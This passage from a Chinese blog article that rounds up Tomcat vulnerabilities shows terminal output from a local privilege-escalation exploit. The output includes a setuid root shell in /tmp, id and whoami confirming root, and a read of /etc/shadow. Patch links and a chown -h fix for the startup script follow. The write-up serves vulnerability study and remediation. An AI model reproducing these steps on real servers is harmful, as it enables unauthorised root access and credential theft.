    -rwsrwxrwx 1 root root 1037464 Sep 30 22:27 /tmp/tomcatrootsh
    Please tell me you\’re seeing this too 😉
    [+] Executing the rootshell /tmp/tomcatrootsh now!
    tomcatrootsh-4.3# id
    uid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups=118(tomcat7)
    tomcatrootsh-4.3# whoami
    root
    tomcatrootsh-4.3# head -n3 /etc/shadow
    root:$6$oaf[cut]:16912:0:99999:7:::
    daemon:*:16912:0:99999:7:::
    bin:*:16912:0:99999:7:::
    tomcatrootsh-4.3# exit
    exit

    修复建议

    目前,Debian、Ubuntu等相关操作系统厂商已修复并更新受影响的Tomcat安装包。受影响用户可采取以下解决方案:

    1、更新Tomcat服务器版本:

    (1)针对Ubuntu公告链接http://www.ubuntu.com/usn/usn-3081-1/

    (2)针对Debian公告链接https://lists.debian.org/debian-security-announce/2016/msg00249.htmlhttps://www.debian.org/security/2016/dsa-3669https://www.debian.org/security/2016/dsa-3670

    2、加入-h参数防止其他文件所有者被更改,即更改Tomcat的启动脚本为:chown -h $TOMCAT6_USER “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out

    参考链接

    CVE-2019-0232漏洞复现_whh6tl的博客-CSDN博客_cve-2019-0232

    (CVE-2020-1938)Apache Tomcat远程代码执行漏洞复现_whh6tl的博客-CSDN博客

    Tomcat Session(CVE-2020-9484)反序列化漏洞复现_白冷的博客-CSDN博客_cve-2020-9484

    https://i4t.com/1545.html

    到此这篇关于tomcat漏洞汇总的文章就介绍到这了,更多相关tomcat漏洞内容请搜索悠久资源以前的文章或继续浏览下面的相关文章希望大家以后多多支持悠久资源!

    收藏 (0) 打赏

    感谢您的支持,我会继续努力的!

    打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
    点赞 (0)

    悠久资源 Tomcat tomcat漏洞汇总 https://www.u-9.cn/server/tomcat/33239.html

    常见问题

    相关文章

    发表评论
    暂无评论
    官方客服团队

    为您解决烦忧 - 24小时在线 专业服务